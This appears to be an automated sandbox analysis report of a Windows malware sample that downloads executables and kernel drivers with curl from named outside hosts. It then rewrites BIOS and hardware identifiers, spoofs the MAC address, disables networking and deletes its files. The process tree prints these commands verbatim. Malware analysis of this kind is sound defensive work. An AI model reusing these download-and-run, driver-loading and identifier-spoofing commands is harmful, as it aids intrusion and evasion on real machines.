5798764834c425a434bdde628f5dff15f730c857e05b82031f13a32330fff50c

Analysis

user interaction
yes
max time kernel
54s
max time network
104s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
17/05/2026, 04:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Fling Perm.exe
Size 995KB
Sample260517-ezjbpscs5s
SHA256 5798764834c425a434bdde628f5dff15f730c857e05b82031f13a32330fff50c
MD5 125556f84dd08c4e4e86ca880c0a2b37
SHA1 aabd08ea22d36a863671309a5413521f9161076b
SHA512 a7e82c66a0115d9b9ea3db5798c270c08508bec5e3c633ed9e0622564f6fbf71ed300ca2269fe12997276ea25cabdb0f8aaa6dc7cac79ec115337afe7edb4e71
SSDEEP 24576:TbQ2SZ58GXpY579KNMd0dSzL6hfEVIqI3Y/WOTeRRuwRmbFBch:THO58GXKmC0d1MVIqI3Y/WOTeRRuwRmb
TLSH
T177259D1B6BA401EDC5B7D17CC65B8607E7B270490360ABEB06D186A52F13BE46F3EB41
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion

Malware Config

Signatures

Downloads MZ/PE file 3 IoCs

flow	pid	Process
17	4600	curl.exe
20	4608	curl.exe
21	5400	curl.exe

Executes dropped EXE 58 IoCs

pid	Process
4088	Frozen.exe
1268	Frozen.exe
5524	Frozen.exe
4856	winxsrcsv64.sys
436	Frozen.exe
5372	Frozen.exe
2616	Frozen.exe
6136	Frozen.exe
4396	Frozen.exe
3652	Frozen.exe
4192	Frozen.exe
5840	Frozen.exe
1308	Frozen.exe
2728	Frozen.exe
3984	Frozen.exe
1664	Frozen.exe
1176	Frozen.exe
1612	Frozen.exe
5832	Frozen.exe
1004	Frozen.exe
1600	Frozen.exe
3864	Frozen.exe
5500	Frozen.exe
5356	Frozen.exe
2436	Frozen.exe
5144	Frozen.exe
5540	Frozen.exe
600	Frozen.exe
4936	Frozen.exe
4088	Frozen.exe
1268	Frozen.exe
5524	Frozen.exe
4856	winxsrcsv64.sys
436	Frozen.exe
5372	Frozen.exe
2616	Frozen.exe
6136	Frozen.exe
4396	Frozen.exe
3652	Frozen.exe
4192	Frozen.exe
5840	Frozen.exe
1308	Frozen.exe
2728	Frozen.exe
3984	Frozen.exe
1664	Frozen.exe
1176	Frozen.exe
1612	Frozen.exe
5832	Frozen.exe
1004	Frozen.exe
1600	Frozen.exe
3864	Frozen.exe
5500	Frozen.exe
5356	Frozen.exe
2436	Frozen.exe
5144	Frozen.exe
5540	Frozen.exe
600	Frozen.exe
4936	Frozen.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\GameBarPresenceWriter\Frozen.exe	curl.exe
File created	C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys	curl.exe
File created	C:\Windows\GameBarPresenceWriter\iqvw64e.sys	curl.exe

Suspicious behavior: LoadsDriver 56 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 4432	4732	Fling Perm.exe	84
PID 4432 wrote to memory of 4452	4432	cmd.exe	85
PID 4732 wrote to memory of 4168	4732	Fling Perm.exe	86
PID 4168 wrote to memory of 4528	4168	cmd.exe	87
PID 4168 wrote to memory of 4532	4168	cmd.exe	88
PID 4168 wrote to memory of 2792	4168	cmd.exe	89
PID 4732 wrote to memory of 1424	4732	Fling Perm.exe	90
PID 1424 wrote to memory of 4904	1424	cmd.exe	91
PID 4732 wrote to memory of 4792	4732	Fling Perm.exe	92
PID 4792 wrote to memory of 4600	4792	cmd.exe	93
PID 4732 wrote to memory of 4224	4732	Fling Perm.exe	94
PID 4224 wrote to memory of 4608	4224	cmd.exe	95
PID 4732 wrote to memory of 4736	4732	Fling Perm.exe	96
PID 4736 wrote to memory of 5400	4736	cmd.exe	97
PID 4732 wrote to memory of 5208	4732	Fling Perm.exe	98
PID 5208 wrote to memory of 4088	5208	cmd.exe	100
PID 4732 wrote to memory of 2380	4732	Fling Perm.exe	101
PID 2380 wrote to memory of 1268	2380	cmd.exe	103
PID 4732 wrote to memory of 2808	4732	Fling Perm.exe	105
PID 2808 wrote to memory of 5524	2808	cmd.exe	107
PID 4732 wrote to memory of 4988	4732	Fling Perm.exe	109
PID 4988 wrote to memory of 436	4988	cmd.exe	111
PID 4732 wrote to memory of 5884	4732	Fling Perm.exe	112
PID 5884 wrote to memory of 5372	5884	cmd.exe	114
PID 4732 wrote to memory of 5804	4732	Fling Perm.exe	115
PID 5804 wrote to memory of 2616	5804	cmd.exe	117
PID 4732 wrote to memory of 5308	4732	Fling Perm.exe	118
PID 5308 wrote to memory of 6136	5308	cmd.exe	120
PID 4732 wrote to memory of 5472	4732	Fling Perm.exe	121
PID 5472 wrote to memory of 4396	5472	cmd.exe	123
PID 4732 wrote to memory of 4084	4732	Fling Perm.exe	124
PID 4084 wrote to memory of 3652	4084	cmd.exe	126
PID 4732 wrote to memory of 1756	4732	Fling Perm.exe	127
PID 1756 wrote to memory of 4192	1756	cmd.exe	129
PID 4732 wrote to memory of 6040	4732	Fling Perm.exe	130
PID 6040 wrote to memory of 5840	6040	cmd.exe	132
PID 4732 wrote to memory of 3900	4732	Fling Perm.exe	133
PID 3900 wrote to memory of 1308	3900	cmd.exe	135
PID 4732 wrote to memory of 3628	4732	Fling Perm.exe	137
PID 3628 wrote to memory of 2728	3628	cmd.exe	140
PID 4732 wrote to memory of 2892	4732	Fling Perm.exe	141
PID 2892 wrote to memory of 3984	2892	cmd.exe	143
PID 4732 wrote to memory of 5376	4732	Fling Perm.exe	144
PID 5376 wrote to memory of 1664	5376	cmd.exe	146
PID 4732 wrote to memory of 1792	4732	Fling Perm.exe	147
PID 1792 wrote to memory of 1176	1792	cmd.exe	149
PID 4732 wrote to memory of 5188	4732	Fling Perm.exe	150
PID 5188 wrote to memory of 1612	5188	cmd.exe	152
PID 4732 wrote to memory of 3148	4732	Fling Perm.exe	153
PID 3148 wrote to memory of 5832	3148	cmd.exe	155
PID 4732 wrote to memory of 3492	4732	Fling Perm.exe	156
PID 3492 wrote to memory of 1004	3492	cmd.exe	158
PID 4732 wrote to memory of 816	4732	Fling Perm.exe	159
PID 816 wrote to memory of 1600	816	cmd.exe	161
PID 4732 wrote to memory of 1992	4732	Fling Perm.exe	162
PID 1992 wrote to memory of 3864	1992	cmd.exe	164
PID 4732 wrote to memory of 5412	4732	Fling Perm.exe	165
PID 5412 wrote to memory of 5500	5412	cmd.exe	167
PID 4732 wrote to memory of 6096	4732	Fling Perm.exe	168
PID 6096 wrote to memory of 5356	6096	cmd.exe	170
PID 4732 wrote to memory of 3580	4732	Fling Perm.exe	171
PID 3580 wrote to memory of 2436	3580	cmd.exe	173
PID 4732 wrote to memory of 5392	4732	Fling Perm.exe	174
PID 5392 wrote to memory of 5144	5392	cmd.exe	176

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	17	curl/8.7.1
HTTP User-Agent header	20	curl/8.7.1
HTTP User-Agent header	21	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe
"C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://memoriumloader.lol/Encrypt.exe --output C:\Windows\Speech\kdmapper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\system32\curl.exe
    curl --silent https://memoriumloader.lol/Encrypt.exe --output C:\Windows\Speech\kdmapper.exe
    3⤵
    PID:4452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4168
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Fling Perm.exe" MD5
    3⤵
    PID:4528
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:4532
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:2792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://www.memoriumloader.lol/Encryptor.exe --output C:\Windows\Speech\kdmapper.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\system32\curl.exe
    curl --silent https://www.memoriumloader.lol/Encryptor.exe --output C:\Windows\Speech\kdmapper.exe
    3⤵
    PID:4904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/sdfbn8.sys --output C:\Windows\GameBarPresenceWriter\Frozen.exe >nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/sdfbn8.sys --output C:\Windows\GameBarPresenceWriter\Frozen.exe
    3⤵
    - Downloads MZ/PE file
    - Drops file in Windows directory
    PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/n6i5j0.sys --output C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys >nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/n6i5j0.sys --output C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys
    3⤵
    - Downloads MZ/PE file
    - Drops file in Windows directory
    PID:4608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/j7goj8.sys --output C:\Windows\GameBarPresenceWriter\iqvw64e.sys >nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/j7goj8.sys --output C:\Windows\GameBarPresenceWriter\iqvw64e.sys
    3⤵
    - Downloads MZ/PE file
    - Drops file in Windows directory
    PID:5400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /IVN "American Megatrends International, LLC."
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5208
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /IVN "American Megatrends International, LLC."
    3⤵
    - Executes dropped EXE
    PID:4088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /IV "3.1"4
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /IV "3.1"4
    3⤵
    - Executes dropped EXE
    PID:1268
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /ID "11/09/2024"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /ID "11/09/2024"
    3⤵
    - Executes dropped EXE
    PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SM "Gigabyte Technology Co., Ltd."
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SM "Gigabyte Technology Co., Ltd."
    3⤵
    - Executes dropped EXE
    PID:436
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SP "Z790 AORUS ELITE AX"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5884
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SP "Z790 AORUS ELITE AX"
    3⤵
    - Executes dropped EXE
    PID:5372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SV "American Megatrends International, LLC."
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SV "American Megatrends International, LLC."
    3⤵
    - Executes dropped EXE
    PID:2616
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SS 066E79AD21D8
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SS 066E79AD21D8
    3⤵
    - Executes dropped EXE
    PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SU AUTO
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5472
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SU AUTO
    3⤵
    - Executes dropped EXE
    PID:4396
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SK "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SK "Default string"
    3⤵
    - Executes dropped EXE
    PID:3652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /SF "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1756
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /SF "Default string"
    3⤵
    - Executes dropped EXE
    PID:4192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /BM "Gigabyte Technology Co., Ltd."
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6040
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /BM "Gigabyte Technology Co., Ltd."
    3⤵
    - Executes dropped EXE
    PID:5840
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /BP "Z790 AORUS ELITE AX"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /BP "Z790 AORUS ELITE AX"
    3⤵
    - Executes dropped EXE
    PID:1308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /BV "1."2
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /BV "1."2
    3⤵
    - Executes dropped EXE
    PID:2728
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /BS 31612620EBE9
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /BS 31612620EBE9
    3⤵
    - Executes dropped EXE
    PID:3984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /BT "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5376
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /BT "Default string"
    3⤵
    - Executes dropped EXE
    PID:1664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /BLC "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /BLC "Default string"
    3⤵
    - Executes dropped EXE
    PID:1176
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CM "Gigabyte Technology Co., Ltd."
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5188
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CM "Gigabyte Technology Co., Ltd."
    3⤵
    - Executes dropped EXE
    PID:1612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CT "03h"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3148
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CT "03h"
    3⤵
    - Executes dropped EXE
    PID:5832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CV "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CV "Default string"
    3⤵
    - Executes dropped EXE
    PID:1004
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CS 36GEECBGED51
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CS 36GEECBGED51
    3⤵
    - Executes dropped EXE
    PID:1600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CA "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CA "Default string"
    3⤵
    - Executes dropped EXE
    PID:3864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CO "00000000h"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CO "00000000h"
    3⤵
    - Executes dropped EXE
    PID:5500
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CH "00h"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6096
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CH "00h"
    3⤵
    - Executes dropped EXE
    PID:5356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CPC "01h"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CPC "01h"
    3⤵
    - Executes dropped EXE
    PID:2436
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /CSK "Default string"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /CSK "Default string"
    3⤵
    - Executes dropped EXE
    PID:5144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /PSN "Unknown"
  2⤵
  PID:2484
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /PSN "Unknown"
    3⤵
    - Executes dropped EXE
    PID:5540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /PAT "Unknown"
  2⤵
  PID:1956
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /PAT "Unknown"
    3⤵
    - Executes dropped EXE
    PID:600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Frozen.exe /PPN "Unknown"
  2⤵
  PID:5132
- - C:\Windows\GameBarPresenceWriter\Frozen.exe
    C:\Windows\GameBarPresenceWriter\Frozen.exe /PPN "Unknown"
    3⤵
    - Executes dropped EXE
    PID:4936
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del C:\Windows\GameBarPresenceWriter\Frozen.exe
  2⤵
  PID:4400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys
  2⤵
  PID:2900
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c del C:\Windows\GameBarPresenceWriter\iqvw64e.sys
  2⤵
  PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/gv7xzv.bat --output C:\Windows\GameBarPresenceWriter\Network.bat >nul
  2⤵
  PID:5836
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/gv7xzv.bat --output C:\Windows\GameBarPresenceWriter\Network.bat
    3⤵
    PID:4456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c C:\Windows\GameBarPresenceWriter\Network.bat
  2⤵
  PID:4548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
    3⤵
    PID:4524
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic nic where physicaladapter=true get deviceid
      4⤵
      PID:4340
  - - C:\Windows\system32\findstr.exe
      findstr [0-9]
      4⤵
      PID:4740
- - C:\Windows\system32\reg.exe
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01"
    3⤵
    PID:3496
- - C:\Windows\system32\reg.exe
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001"
    3⤵
    PID:3404
- - C:\Windows\system32\reg.exe
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001"
    3⤵
    PID:404
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v NetworkAddress /t REG_SZ /d 02-2CCCA99AC99 /f
    3⤵
    PID:1892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
    3⤵
    PID:3000
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic nic where physicaladapter=true get deviceid
      4⤵
      PID:5844
  - - C:\Windows\system32\findstr.exe
      findstr [0-9]
      4⤵
      PID:5756
- - C:\Windows\system32\reg.exe
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01"
    3⤵
    PID:2020
- - C:\Windows\system32\reg.exe
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001"
    3⤵
    PID:1728
- - C:\Windows\system32\reg.exe
    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001"
    3⤵
    PID:1712
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v PnPCapabilities /t REG_DWORD /d 24 /f
    3⤵
    PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv"
    3⤵
    PID:5944
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv
      4⤵
      PID:3016
- - C:\Windows\system32\netsh.exe
    netsh interface set interface name="Ethernet" disable
    3⤵
    PID:5232

C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys
C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys
1⤵
- Executes dropped EXE
PID:4856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
PID:5184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Frozen.exe

Path C:\Windows\GameBarPresenceWriter\Frozen.exe
Size 379KB
SHA256 818d6d87d0facc03354bf7b0748467cf61040031248ba8b46045ed9dbe4053d8
MD5 91a31f23f3e50bd0a722e605687aed1e
SHA1 f56fa26aaccdd6eb3f1ea53f06674b01327cd7c4
SHA512 649ee112c0e9d0c63c199f0dee84332f915af336dd7ad0ff70cbd49cc148c832182ff748c67fe1dee958215ea4a095545d1a93fdeb90fbdeb6f98076b499aab0
SSDEEP 6144:y0l5U6eUbNRNrOHh84pi8Y8ubTIlceF4knL7AL8tdwndOLv23+cr9JUPlJh:pyU5zOHy4pi8Y8ubTIlceF4knL7AmbvF
TLSH
T15D84292AEB9220F4EC77917C88D12306F7A075684771DBEBB39D451A4F33AE4A939710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network.bat

Path C:\Windows\GameBarPresenceWriter\Network.bat
Size 2KB
SHA256 6b564fd712451bab4446c4beca68635843dfbbeb38a3430b162098e9204ce40b
MD5 189dbc488495dbb7b4bc313bbf777116
SHA1 476e49b7383544e7f1e5d4c080e528fd406906d1
SHA512 ae6464807f10f4b0ca869c253b7036ae5e7f14b24e8079f8a3481816e4457e036747fdfbbfa26c9f85795f7dcb57f1e839811a327f326799bdc5b5820106c38e
TLSH
T17B414712588116B0C953411D2B9FC980C521B09E279355E9342CB39A5FA7BC993FEDDE
MD5 SHA1 SHA512 TLSH

Submit Download

iqvw64e.sys

Path C:\Windows\GameBarPresenceWriter\iqvw64e.sys
Size 3.1MB
SHA256 1342ad4e99d000e27f3bcefe6ddc2c5baf094e405bd4d5a922608d174b343c30
MD5 a572330ed141802d24710e2152995be3
SHA1 ddabf52aba0e84c48d009e2cfb6955bf0b92abeb
SHA512 46142495521572cb52c47a7e21433dcd7a447e2218a9925add99676f25d26aea1daca343ff70d8abc138193e979ddad02e0aad2cc56d09e02d5d19d55081f12b
SSDEEP 49152:oBXiA6Qs3h8dMjOjjy1Zb2rljJALDzQsGNAojrSTLSzk3GSxVPEWgdeRmVAdfHkc:lA6Hg5uLDzdVwTMfEWSO2LpNgsC
TLSH
T1A6E5025B049183F4E4D70744D0CA078F73D17245DAAA1E1E28DAA8427793EAB868F77F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

winxsrcsv64.sys

Path C:\Windows\GameBarPresenceWriter\winxsrcsv64.sys
Size 26KB
SHA256 71114f4521fc92abdfac7d7192f3b7e29fc42e9eadc9320d5a58c9b4432bd9e7
MD5 f900a6e8c788e1330f551783797af853
SHA1 d927d601c19bc067d73f7aa265682354da6dac8e
SHA512 7c047457631c7af0a05bed8463934f5e761c50efa1b1a2e6a34d0eb27473113a88a9d2fc44a2027b2d5f67bea371ff8b0b906f7d5a208a546b7ee7265ea35f04
SSDEEP 768:MBOmh786zi+NqkO8OuwnpuGh8L3BY+s9zq:MXi+NXwnpsm+kzq
TLSH
T13FC28F81937454D7F9AFA97482A8C6A33D75FA96271187EF02B0C4140F23BD6AB3436D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

